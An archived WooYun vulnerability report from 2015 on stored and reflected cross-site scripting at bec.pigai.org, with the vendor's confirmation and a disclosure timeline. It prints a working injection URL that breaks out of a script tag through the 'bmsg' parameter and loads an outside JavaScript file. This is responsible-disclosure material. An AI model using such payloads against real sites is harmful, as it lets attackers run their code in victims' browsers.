当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-098299

漏洞标题：句酷某分站存储型XSS与一个奇葩的xss

相关厂商：pigai.org

漏洞作者： 浅蓝

提交时间：2015-02-27 10:49

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-27： 细节已通知厂商并且等待厂商处理中
2015-02-27： 厂商已经确认，细节仅向厂商公开
2015-03-09： 细节向核心白帽子及相关领域专家公开
2015-03-19： 细节向普通白帽子公开
2015-03-29： 细节向实习白帽子公开
2015-04-13： 细节向公众公开

简要描述：

听说句酷给奖励，来挖挖漏洞
求礼物有木有

详细说明：

http://bec.pigai.org/

}NPSO]46KGFL3L`O]MF0H$A.png


$S75H8ERAS8DZJ@BNT{J]]H.jpg


这俩参数没有转义，导致触发了xss
还有个奇葩的
http://bec.pigai.org/index.php?bmsg=111
访问这个URL 就会弹出111

<div id="footera">
		<!--
			<a href="/?content-app-content&contentid=133" id="about" title="关于我们" target="_blank"></a>
			<a href="/?content-app-category&catid=1" id="us_connect" title="联系我们" target="_blank"></a>
			<a href="/?content-app-qa" id="us_help" title="大赛答疑"></a>
			-->
			<div id="foot_text">
			2014 ICP备10200339号    All Right Reserved <br>
			地址：北京市海淀区西土城路10号北京邮电大学校产集团白楼(中门对面)216室       电话：4008-900-989
			</div>
		</div>
	</div>
</div>
<script>alert( '111');</script></body>


打开看源码153行 

<script>alert( '111');</script>


如果bmsg参数被赋值了 就会执行以上这句代码
闭合一下');</script><script src=xxxx></script>
http://bec.pigai.org/index.php?bmsg=%27);%3C/script%3E%3Cscript%20src=你的JS%3E%3C/script%3E

漏洞证明：

如上

修复方案：

转义

版权声明：转载请注明来源 浅蓝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-02-27 10:51

厂商回复：

修复后奉上礼物

最新状态：

暂无